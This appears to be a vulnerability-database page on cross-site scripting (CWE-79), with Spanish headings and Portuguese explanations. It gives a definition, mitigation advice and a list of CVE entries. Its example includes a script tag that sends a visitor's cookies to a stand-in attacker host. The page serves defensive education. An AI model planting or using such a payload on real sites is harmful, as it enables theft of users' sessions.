Fallos del tipo CWE-79

30.495 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13527MEDIUMPhilantro – Donations and Donor Management <= 5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via donate ShortcodeEPSS 0.2%CVE-2025-66403MEDIUMFileRise Vulnerable to Stored XSS via SVG UploadEPSS 0.2%CVE-2026-16273MEDIUMNarrative Publisher <= 1.0.7 - Contributor+ Stored XSS via narrative_post_script Post MetaEPSS 0.2%CVE-2026-21483MEDIUMlistmonk Vulnerable to Stored XSS Leading to Admin Account TakeoverEPSS 0.2%CVE-2024-45094MEDIUMIBM DS8900F and DS8A00 Hardware Management Console (HMC) cross-site scriptingEPSS 0.2%CVE-2024-13400MEDIUMKona Gallery Block <= 1.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-36906MEDIUMCross Site Scripting vulnerability in iotgateway v.3.0.1 allows a remote attacker to execute arbitrary code via the Log Record FunctionEPSS 0.2%CVE-2026-6793MEDIUMStored XSS in Bifra Engineering's Q-smart NexT PollEPSS 0.2%CVE-2026-119054MEDIUMMultiple Pages Generator by Themeisle before 4.2.5 Stored XSS via Shortcode base-urlEPSS 0.2%CVE-2025-66648HIGH`vega-functions` vulnerable to Cross-site Scripting via `setdata` functionEPSS 0.2%CVE-2026-0580MEDIUMSourceCodester API Key Manager App Import Key cross site scriptingEPSS 0.2%CVE-2026-16066MEDIUMWelcart e-Commerce < 2.11.34 - Author+ Stored XSS via Product NameEPSS 0.2%CVE-2026-8309MEDIUMReflected XSS in Armiya Technologies' Access Control SystemEPSS 0.2%CVE-2026-119152MEDIUMAppointment Booking Plugin <= 5.7.6 - Unauthenticated Stored Cross-Site Scripting via Customer Email FieldEPSS 0.2%CVE-2026-34396MEDIUMAVideo: Stored XSS via Unescaped Plugin Configuration Values in Admin PanelEPSS 0.2%CVE-2026-0512MEDIUMCross-Site Scripting (XSS) vulnerability in SAP Supplier Relationship Management (SICF Handler in SRM Catalog)EPSS 0.2%CVE-2026-15386MEDIUMMeow Gallery < 5.5.2 - Author+ Stored XSS via Attachment Alt-TextEPSS 0.2%CVE-2026-48149HIGHBudibase: Stored XSS in Text component: BASIC users execute JS in admin session via MarkdownViewer innerHTML + CDN+srcdoc CSP bypassEPSS 0.2%CVE-2026-64795MEDIUMJoomla Extension - regularlabs.com - XSS vectors in tag-provided inputs in various Regular Labs extensionsEPSS 0.2%CVE-2026-14230MEDIUMECS < 4.3.8 - Contributor+ Stored XSS via Dynamic Repeater BindingsEPSS 0.2%